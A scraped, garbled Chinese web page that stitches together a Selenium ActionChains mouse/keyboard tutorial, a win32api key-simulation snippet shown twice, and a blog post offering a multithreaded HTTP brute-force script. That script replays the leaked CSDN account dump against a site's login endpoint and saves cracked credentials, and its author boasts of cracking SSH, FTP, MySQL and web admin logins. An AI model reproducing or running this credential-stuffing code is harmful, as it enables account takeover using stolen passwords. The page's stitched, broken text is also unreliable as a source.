如何让pythonpython 模拟按键键脚本能输入到游戏

selenium模拟键盘操作 玩转python selenium鼠标键盘操作(ActionChains)-Python教程
当前位置:&>&&>& &
玩转python selenium鼠标键盘操作(ActionChains)
selenium模拟键盘操作 玩转python selenium鼠标键盘操作(ActionChains)
| 来源:网络 | 关键字:
用selenium做自动化,有时候会遇到需要模拟鼠标操作才能进行的情况,比如单击、双击、点击鼠标右键、拖拽等等。而selenium给我们提供了一个类来处理这类事件――ActionChainsselen
用selenium做自动化,有时候会遇到需要模拟鼠标操作才能进行的情况,比如单击、双击、点击鼠标右键、拖拽等等。而selenium给我们提供了一个类来处理这类事件――ActionChainsmon.action_chains.ActionChains(driver)这个类基本能够满足我们所有对鼠标操作的需求。1.ActionChains基本用法首先需要了解ActionChains的执行原理,当你调用ActionChains的方法时,不会立即执行,而是会将所有的操作按顺序存放在一个队列里,当你调用perform()方法时,队列中的时间会依次执行。这种情况下我们可以有两种调用方法:•链式写法menu = driver.find_element_by_css_selector(".nav")hidden_submenu =
driver.find_element_by_css_selector(".nav #submenu1")ActionChains(driver).move_to_element(menu).click(hidden_submenu).perform()•分步写法menu = driver.find_element_by_css_selector(".nav")hidden_submenu = driver.find_element_by_css_selector(".nav #submenu1")actions = ActionChains(driver)actions.move_to_element(menu)actions.click(hidden_submenu)actions.perform()两种写法本质是一样的,ActionChains都会按照顺序执行所有的操作。2.ActionChains方法列表click(on_element=None) ――单击鼠标左键click_and_hold(on_element=None) ――点击鼠标左键,不松开context_click(on_element=None) ――点击鼠标右键double_click(on_element=None) ――双击鼠标左键drag_and_drop(source, target) ――拖拽到某个元素然后松开drag_and_drop_by_offset(source, xoffset, yoffset) ――拖拽到某个坐标然后松开key_down(value, element=None) ――按下某个键盘上的键key_up(value, element=None) ――松开某个键move_by_offset(xoffset, yoffset) ――鼠标从当前位置移动到某个坐标move_to_element(to_element) ――鼠标移动到某个元素move_to_element_with_offset(to_element, xoffset, yoffset) ――移动到距某个元素(左上角坐标)多少距离的位置perform() ――执行链中的所有动作release(on_element=None) ――在某个元素位置松开鼠标左键send_keys(*keys_to_send) ――发送某个键到当前焦点的元素send_keys_to_element(element, *keys_to_send) ――发送某个键到指定元素接下来用示例来详细说明和演示每一个方法的用法:3.代码示例1. 点击操作示例网址/demo/clicks.htm代码:# -*- coding: utf-8 -*-from selenium import webdriverfrom mon.action_chains import ActionChainsfrom time import sleepdriver = webdriver.Firefox()driver.implicitly_wait(10)driver.maximize_window()driver.get('/demo/clicks.htm')click_btn = driver.find_element_by_xpath('//input[@value="click me"]') # 单击按钮doubleclick_btn = driver.find_element_by_xpath('//input[@value="dbl click me"]') # 双击按钮rightclick_btn = driver.find_element_by_xpath('//input[@value="right click me"]') # 右键单击按钮ActionChains(driver).click(click_btn).double_click(doubleclick_btn).context_click(rightclick_btn).perform() # 链式用法print driver.find_element_by_name('t2').get_attribute('value')sleep(2)driver.quit()结果:[CLICK][DOUBLE_CLICK][RIGHT_CLICK]2.鼠标移动示例网址/demo/mouseover.htm示例代码:# -*- coding: utf-8 -*-from selenium import webdriverfrom mon.action_chains import ActionChainsfrom time import sleepdriver = webdriver.Firefox()driver.implicitly_wait(10)driver.maximize_window()driver.get('/demo/mouseover.htm')write = driver.find_.cnment_by_xpath('//input[@value="Write on hover"]') # 鼠标移动到此元素,在下面的input框中会显示“Mouse moved”blank = driver.find_element_by_xpath('//input[@value="Blank on hover"]') # 鼠标移动到此元素,会清空下面input框中的内容result = driver.find_element_by_name('t1')action = ActionChains(driver)action.move_to_element(write).perform() # 移动到write,显示“Mouse moved”print result.get_attribute('value')# action.move_to_element(blank).perform()action.move_by_offset(10, 50).perform() # 移动到距离当前位置(10,50)的点,与上句效果相同,移动到blank上,清空print result.get_attribute('value')action.move_to_element_with_offset(blank, 10, -40).perform() # 移动到距离blank元素(10,-40)的点,可移动到write上print result.get_attribute('value')sleep(2)driver.quit()结果Mouse movedMouse moved3.拖拽示例网址/demo/dragDropMooTools.htm代码:# -*- coding: utf-8 -*-from selenium import webdriverfrom mon.action_chains import ActionChainsfrom time import sleepdriver = webdriver.Firefox()driver.implicitly_wait(10)driver.maximize_window()driver.get('/demo/dragDropMooTools.htm')dragger = driver.find_element_by_id('dragger') # 被拖拽元素item1 = driver.find_element_by_xpath('//div[text()="Item 1"]') # 目标元素1item2 = driver.find_element_by_xpath('//div[text()="Item 2"]') # 目标2item3 = driver.find_element_by_xpath('//div[text()="Item 3"]') # 目标3item4 = driver.find_element_by_xpath('//div[text()="Item 4"]') # 目标4action = ActionChains(driver)action.drag_and_drop(dragger, item1).perform() # 1.移动dragger到目标1sleep(2)action.click_and_hold(dragger).release(item2).perform() # 2.效果与上句相同,也能起到移动效果sleep(2)action.click_and_hold(dragger).move_to_element(item3).release().perform() # 3.效果与上两句相同,也能起到移动的效果sleep(2)# action.drag_and_drop_by_offset(dragger, 400, 150).perform() # 4.移动到指定坐标action.click_and_hold(dragger).move_by_offset(400, 150).release().perform() # 5.与上一句相同,移动到指定坐标sleep(2)driver.quit()结果:dropped dropped dropped dropped一般用坐标定位很少,用上例中的方法1足够了,如果看源码,会发现方法2其实就是方法1中的drag_and_drop()的实现。注意:拖拽使用时注意加等待时间,有时会因为速度太快而失败。4.按键模拟按键有多种方法,能用win32api来实现,能用SendKeys来实现,也可以用selenium的WebElement对象的send_keys()方法来实现,这里ActionChains类也提供了几个模拟按键的方法。示例网址/demo/keypress.htm代码1:# -*- coding: utf-8 -*-from selenium import webdriverfrom mon.action_chains import ActionChainsfrom time import sleepdriver = webdriver.Firefox()driver.implicitly_wait(10)driver.maximize_window()driver.get('/demo/keypress.htm')key_up_radio = driver.find_element_by_id('r1') # 监测按键升起key_down_radio = driver.find_element_by_id('r2') # 监测按键按下key_press_radio = driver.find_element_by_id('r3') # 监测按键按下升起enter = driver.find_elements_by_xpath('//form[@name="f1"]/input')[1] # 输入框result = driver.find_elements_by_xpath('//form[@name="f1"]/input')[0] # 监测结果# 监测key_downkey_down_radio.click()ActionChains(driver).key_down(Keys.CONTROL, enter).key_up(Keys.CONTROL).perform()print result.get_attribute('value')# 监测key_upkey_up_radio.click()enter.click()ActionChains(driver).key_down(Keys.SHIFT).key_up(Keys.SHIFT).perform()print result.get_attribute('value')# 监测key_presskey_press_radio.click()enter.click()ActionChains(driver).send_keys('a').perform()print result.get_attribute('value')driver.quit()结果:key downed charCode=[0] keyCode=[17] CTRLkey upped charCode=[0] keyCode=[16] NONEkey pressed charCode=[97] keyCode=[0] NONE示例2:示例网址/demo/label.htm代码:# -*- coding: utf-8 -*-from selenium import webdriverfrom mon.action_chains import ActionChainsfrom mon.keys import Keysfrom time import sleepdriver = webdriver.Firefox()driver.implicitly_wait(10)driver.maximize_window()driver.get('/demo/label.htm')input1 = driver.find_elements_by_tag_name('input')[3]input2 = driver.find_elements_by_tag_name('input')[4]action = ActionChains(driver)input1.click()action.send_keys('Test Keys').perform()action.key_down(Keys.CONTROL).send_keys('a').key_up(Keys.CONTROL).perform() # ctrl+aaction.key_down(Keys.CONTROL).send_keys('c').key_up(Keys.CONTROL).perform() # ctrl+caction.key_down(Keys.CONTROL, input2).send_keys('v').key_up(Keys.CONTROL).perform() # ctrl+vprint input1.get_attribute('value')print input2.get_attribute('value')driver.quit()结果:Test KeysTest Keys复制粘贴用WebElement& input &.send_keys()也能实现,大家可以试一下,也可以用更底层的方法,同时也是os弹框的处理办法之一的win32api,有兴趣也可以试试SendKeys、keybd_event以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持脚本之家。
网友评论仅供其表达个人看法,并不表明网易立场。依然在路上
You are here:
/ 一个简单的HTTP暴力破解python脚本
在以往的渗透测试过程中,我常使用暴力破解来作为突破口。
破解过包括ADSL、客户端软件账号、web后台、NT Server、SSH、FTP、MySQL、Email等,
主要通过两种方式:
1. 基于协议暴力破解
2. 模拟点击、模拟按键等进行客户端暴力破解
当然,其中还涉及到ADSL重新拨号换IP、验证码识别的细节。
前述到此。
下面是我写的一个非常简短的Python脚本,用于http暴力破解。
它使用CSDN流出的800万账号,尝试登陆。
# -*- coding: utf-8 -*-
import urllib2
import urllib
import httplib
import threading
headers = {"Content-Type":"application/x-www-form-urlencoded",
"Connection":"Keep-Alive",
"Referer":"/"};
lock = threading.Lock()
def tryUser():
global headers
global outFile
conn = httplib.HTTPConnection("")
while True:
lock.acquire()
line = inFile.readline()
userData = line.strip().split(' # ')
lock.release()
if len(userData) != 3: continue
if len(line) == 0:
conn.close()
user = userData[2]
passwd = userData[1]
params = urllib.urlencode({'username': user, 'password': passwd})
conn.request(method="POST", url="/users/login", body=params, headers=headers)
responseText = conn.getresponse().read().decode('utf8')
if not responseText.find(u'用户名或者密码不正确,请重新输入!') & 0 :
print '*** find user:', user, 'with password:', passwd, '***'
outFile.write(user + '
passwd + '\n')
outFile = open('accounts-cracked.txt', 'w')
with open(r'E:\works-hz\csdn.sql', 'r') as inFile:
for i in range(5000):
#skip 5000
inFile.readline()
for i in range(10):
threading.Thread(target = tryUser())
outFile.close()
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849
# -*- coding: utf-8 -*-&'''from my['''&import urllib2import urllibimport httplibimport threading&&headers = {"Content-Type":"application/x-www-form-urlencoded",&&&& &&&&&&&&&& "Connection":"Keep-Alive",&&&&&&&&&& "Referer":"/"};lock = threading.Lock()def tryUser():&&&&global headers&&&&global outFile &&&&conn = httplib.HTTPConnection("")&&&&while True:&&&&&&&&lock.acquire()&&&&&&&&line = inFile.readline()&&&&&&&&userData = line.strip().split(' # ')&&&&&&&&lock.release()&&&&&&&&if len(userData) != 3: continue&&&&&&&&if len(line) == 0:&&&&&&&&&&&&conn.close()&&&&&&&&&&&&break&&&&&&&&user = userData[2]&&&&&&&&passwd = userData[1]&&&&&&&&params = urllib.urlencode({'username': user, 'password': passwd})&&&&&&&&conn.request(method="POST", url="/users/login", body=params, headers=headers)&&&&&&&&responseText = conn.getresponse().read().decode('utf8')&&&&&&&&if not responseText.find(u'用户名或者密码不正确,请重新输入!') & 0 :&&&&&&&&&&&&print '*** find user:', user, 'with password:', passwd, '***'&&&&&&&&&&&&outFile.write(user + '&&&&' +&&passwd + '\n')&&outFile = open('accounts-cracked.txt', 'w')with open(r'E:\works-hz\csdn.sql', 'r') as inFile:&&&&for i in range(5000):&&&&#skip 5000&&&&&&&&inFile.readline()&&&&for i in range(10):&&&&&&&&threading.Thread(target = tryUser())&&outFile.close()
登录时POST
/users/login, 附加username和password
值得注意的是:
1. 程序首先跳过了前5000行,考虑到前5000个账号破解成功率比较低
2. headers中”Connection”:”Keep-Alive”,让我们可以在一个http连接中,尝试无数个密码,直到破解结束,才关闭当前的TCP连接
脚本也上传到了github上:
因为学python时间不长,代码不堪,请见谅。
Powered byPython实现windows下模拟按键和鼠标点击的方法
(window.slotbydup=window.slotbydup || []).push({
id: '2611110',
container: s,
size: '240,200',
display: 'inlay-fix'
您当前位置: &
[ 所属分类
作者 红领巾 ]
本文实例讲述了实现下模拟按键和鼠标点击的方法。分享给大家供大家参考。具体如下:这段代码可以模拟在窗口上按下按键、鼠标左键点击、鼠标右键点击、鼠标双击等等## _*_ coding:UTF-8 _*_import win32apiimport win32conimport win32guifrom ctypes import *import timeVK_CODE = { 'backspace':0x08, 'tab':0x09, 'clear':0x0C, 'enter':0x0D, 'shift':0x10, 'ctrl':0x11, 'alt':0x12, 'pause':0x13, 'caps_lock':0x14, 'esc':0x1B, 'spacebar':0x20, 'page_up':0x21, 'page_down':0x22, 'end':0x23, 'home':0x24, 'left_arrow':0x25, 'up_arrow':0x26, 'right_arrow':0x27, 'down_arrow':0x28, 'select':0x29, 'print':0x2A, 'execute':0x2B, 'print_screen':0x2C, 'ins':0x2D, 'del':0x2E, 'help':0x2F, '0':0x30, '1':0x31, '2':0x32, '3':0x33, '4':0x34, '5':0x35, '6':0x36, '7':0x37, '8':0x38, '9':0x39, 'a':0x41, 'b':0x42, 'c':0x43, 'd':0x44, 'e':0x45, 'f':0x46, 'g':0x47, 'h':0x48, 'i':0x49, 'j':0x4A, 'k':0x4B, 'l':0x4C, 'm':0x4D, 'n':0x4E, 'o':0x4F, 'p':0x50, 'q':0x51, 'r':0x52, 's':0x53, 't':0x54, 'u':0x55, 'v':0x56, 'w':0x57, 'x':0x58, 'y':0x59, 'z':0x5A, 'numpad_0':0x60, 'numpad_1':0x61, 'numpad_2':0x62, 'numpad_3':0x63, 'numpad_4':0x64, 'numpad_5':0x65, 'numpad_6':0x66, 'numpad_7':0x67, 'numpad_8':0x68, 'numpad_9':0x69, 'multiply_key':0x6A, 'add_key':0x6B, 'separator_key':0x6C, 'subtract_key':0x6D, 'decimal_key':0x6E, 'divide_key':0x6F, 'F1':0x70, 'F2':0x71, 'F3':0x72, 'F4':0x73, 'F5':0x74, 'F6':0x75, 'F7':0x76, 'F8':0x77, 'F9':0x78, 'F10':0x79, 'F11':0x7A, 'F12':0x7B, 'F13':0x7C, 'F14':0x7D, 'F15':0x7E, 'F16':0x7F, 'F17':0x80, 'F18':0x81, 'F19':0x82, 'F20':0x83, 'F21':0x84, 'F22':0x85, 'F23':0x86, 'F24':0x87, 'num_lock':0x90, 'scroll_lock':0x91, 'left_shift':0xA0, 'right_shift ':0xA1, 'left_control':0xA2, 'right_control':0xA3, 'left_menu':0xA4, 'right_menu':0xA5, 'browser_back':0xA6, 'browser_forward':0xA7, 'browser_refresh':0xA8, 'browser_stop':0xA9, 'browser_search':0xAA, 'browser_favorites':0xAB, 'browser_start_and_home':0xAC, 'volume_mute':0xAD, 'volume_Down':0xAE, 'volume_up':0xAF, 'next_track':0xB0, 'previous_track':0xB1, 'stop_media':0xB2, 'play/pause_media':0xB3, 'start_mail':0xB4, 'select_media':0xB5, 'start_application_1':0xB6, 'start_application_2':0xB7, 'attn_key':0xF6, 'crsel_key':0xF7, 'exsel_key':0xF8, 'play_key':0xFA, 'zoom_key':0xFB, 'clear_key':0xFE, '+':0xBB, ',':0xBC, '-':0xBD, '.':0xBE, '/':0xBF, '`':0xC0, ';':0xBA, '[':0xDB, '\\':0xDC, ']':0xDD, "'":0xDE, '`':0xC0}class POINT(Structure): _fields_ = [("x", c_ulong),("y", c_ulong)]def get_mouse_point(): po = POINT() windll.user32.GetCursorPos(byref(po)) return int(po.x), int(po.y)def mouse_click(x=None,y=None): if not x is None and not y is None: mouse_move(x,y) time.sleep(0.05) win32api.mouse_event(win32con.MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0) win32api.mouse_event(win32con.MOUSEEVENTF_LEFTUP, 0, 0, 0, 0)def mouse_dclick(x=None,y=None): if not x is None and not y is None: mouse_move(x,y) time.sleep(0.05) win32api.mouse_event(win32con.MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0) win32api.mouse_event(win32con.MOUSEEVENTF_LEFTUP, 0, 0, 0, 0) win32api.mouse_event(win32con.MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0) win32api.mouse_event(win32con.MOUSEEVENTF_LEFTUP, 0, 0, 0, 0)def mouse_move(x,y): windll.user32.SetCursorPos(x, y)def key_input(str=''): for c in str: win32api.keybd_event(VK_CODE[c],0,0,0) win32api.keybd_event(VK_CODE[c],0,win32con.KEYEVENTF_KEYUP,0) time.sleep(0.01)if __name__ == "__main__": mouse_click() str = 'hello' key_input(str)希望本文所述对大家的Python程序设计有所帮助。
本文开发(python)相关术语:python基础教程 python多线程 web开发工程师 软件开发工程师 软件开发流程
转载请注明本文标题:本站链接:
分享请点击:
1.凡CodeSecTeam转载的文章,均出自其它媒体或其他官网介绍,目的在于传递更多的信息,并不代表本站赞同其观点和其真实性负责;
2.转载的文章仅代表原创作者观点,与本站无关。其原创性以及文中陈述文字和内容未经本站证实,本站对该文以及其中全部或者部分内容、文字的真实性、完整性、及时性,不作出任何保证或承若;
3.如本站转载稿涉及版权等问题,请作者及时联系本站,我们会及时处理。
登录后可拥有收藏文章、关注作者等权限...
CodeSecTeam微信公众号
既然降生到这世上,我就要好好看看它,找到属于自己的世界第一。
手机客户端Python在windows下模拟按键和鼠标点击代码
0人收藏此代码,
这段代码可以模拟在窗口上按下按键、鼠标左键点击、鼠标右键点击、鼠标双击等等
# _*_ coding:UTF-8 _*_
import win32api
import win32con
import win32gui
from ctypes import *
import time
VK_CODE = {
'backspace':0x08,
'tab':0x09,
'clear':0x0C,
'enter':0x0D,
'shift':0x10,
'ctrl':0x11,
'alt':0x12,
'pause':0x13,
'caps_lock':0x14,
'esc':0x1B,
'spacebar':0x20,
'page_up':0x21,
'page_down':0x22,
'end':0x23,
'home':0x24,
'left_arrow':0x25,
'up_arrow':0x26,
'right_arrow':0x27,
'down_arrow':0x28,
'select':0x29,
'print':0x2A,
'execute':0x2B,
'print_screen':0x2C,
'ins':0x2D,
'del':0x2E,
'help':0x2F,
'0':0x30,
'1':0x31,
'2':0x32,
'3':0x33,
'4':0x34,
'5':0x35,
'6':0x36,
'7':0x37,
'8':0x38,
'9':0x39,
'a':0x41,
'b':0x42,
'c':0x43,
'd':0x44,
'e':0x45,
'f':0x46,
'g':0x47,
'h':0x48,
'i':0x49,
'j':0x4A,
'k':0x4B,
'l':0x4C,
'm':0x4D,
'n':0x4E,
'o':0x4F,
'p':0x50,
'q':0x51,
'r':0x52,
's':0x53,
't':0x54,
'u':0x55,
'v':0x56,
'w':0x57,
'x':0x58,
'y':0x59,
'z':0x5A,
'numpad_0':0x60,
'numpad_1':0x61,
'numpad_2':0x62,
'numpad_3':0x63,
'numpad_4':0x64,
'numpad_5':0x65,
'numpad_6':0x66,
'numpad_7':0x67,
'numpad_8':0x68,
'numpad_9':0x69,
'multiply_key':0x6A,
'add_key':0x6B,
'separator_key':0x6C,
'subtract_key':0x6D,
'decimal_key':0x6E,
'divide_key':0x6F,
'F1':0x70,
'F2':0x71,
'F3':0x72,
'F4':0x73,
'F5':0x74,
'F6':0x75,
'F7':0x76,
'F8':0x77,
'F9':0x78,
'F10':0x79,
'F11':0x7A,
'F12':0x7B,
'F13':0x7C,
'F14':0x7D,
'F15':0x7E,
'F16':0x7F,
'F17':0x80,
'F18':0x81,
'F19':0x82,
'F20':0x83,
'F21':0x84,
'F22':0x85,
'F23':0x86,
'F24':0x87,
'num_lock':0x90,
'scroll_lock':0x91,
'left_shift':0xA0,
'right_shift ':0xA1,
'left_control':0xA2,
'right_control':0xA3,
'left_menu':0xA4,
'right_menu':0xA5,
'browser_back':0xA6,
'browser_forward':0xA7,
'browser_refresh':0xA8,
'browser_stop':0xA9,
'browser_search':0xAA,
'browser_favorites':0xAB,
'browser_start_and_home':0xAC,
'volume_mute':0xAD,
'volume_Down':0xAE,
'volume_up':0xAF,
'next_track':0xB0,
'previous_track':0xB1,
'stop_media':0xB2,
'play/pause_media':0xB3,
'start_mail':0xB4,
'select_media':0xB5,
'start_application_1':0xB6,
'start_application_2':0xB7,
'attn_key':0xF6,
'crsel_key':0xF7,
'exsel_key':0xF8,
'play_key':0xFA,
'zoom_key':0xFB,
'clear_key':0xFE,
'+':0xBB,
',':0xBC,
'-':0xBD,
'.':0xBE,
'/':0xBF,
'`':0xC0,
';':0xBA,
'[':0xDB,
'\\':0xDC,
']':0xDD,
&'&:0xDE,
'`':0xC0}
class POINT(Structure):
_fields_ = [(&x&, c_ulong),(&y&, c_ulong)]
def get_mouse_point():
po = POINT()
windll.user32.GetCursorPos(byref(po))
return int(po.x), int(po.y)
def mouse_click(x=None,y=None):
if not x is None and not y is None:
mouse_move(x,y)
time.sleep(0.05)
win32api.mouse_event(win32con.MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0)
win32api.mouse_event(win32con.MOUSEEVENTF_LEFTUP, 0, 0, 0, 0)
def mouse_dclick(x=None,y=None):
if not x is None and not y is None:
mouse_move(x,y)
time.sleep(0.05)
win32api.mouse_event(win32con.MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0)
win32api.mouse_event(win32con.MOUSEEVENTF_LEFTUP, 0, 0, 0, 0)
win32api.mouse_event(win32con.MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0)
win32api.mouse_event(win32con.MOUSEEVENTF_LEFTUP, 0, 0, 0, 0)
def mouse_move(x,y):
windll.user32.SetCursorPos(x, y)
def key_input(str=''):
for c in str:
win32api.keybd_event(VK_CODE[c],0,0,0)
win32api.keybd_event(VK_CODE[c],0,win32con.KEYEVENTF_KEYUP,0)
time.sleep(0.01)
if __name__ == &__main__&:
mouse_click()
str = 'hello'
key_input(str)
#该代码片段来自于: /codes/python/9059
相关代码片段:
最新Python代码片段
合作网站:

我要回帖

更多关于 海马玩模拟器按键脚本 的文章

 

随机推荐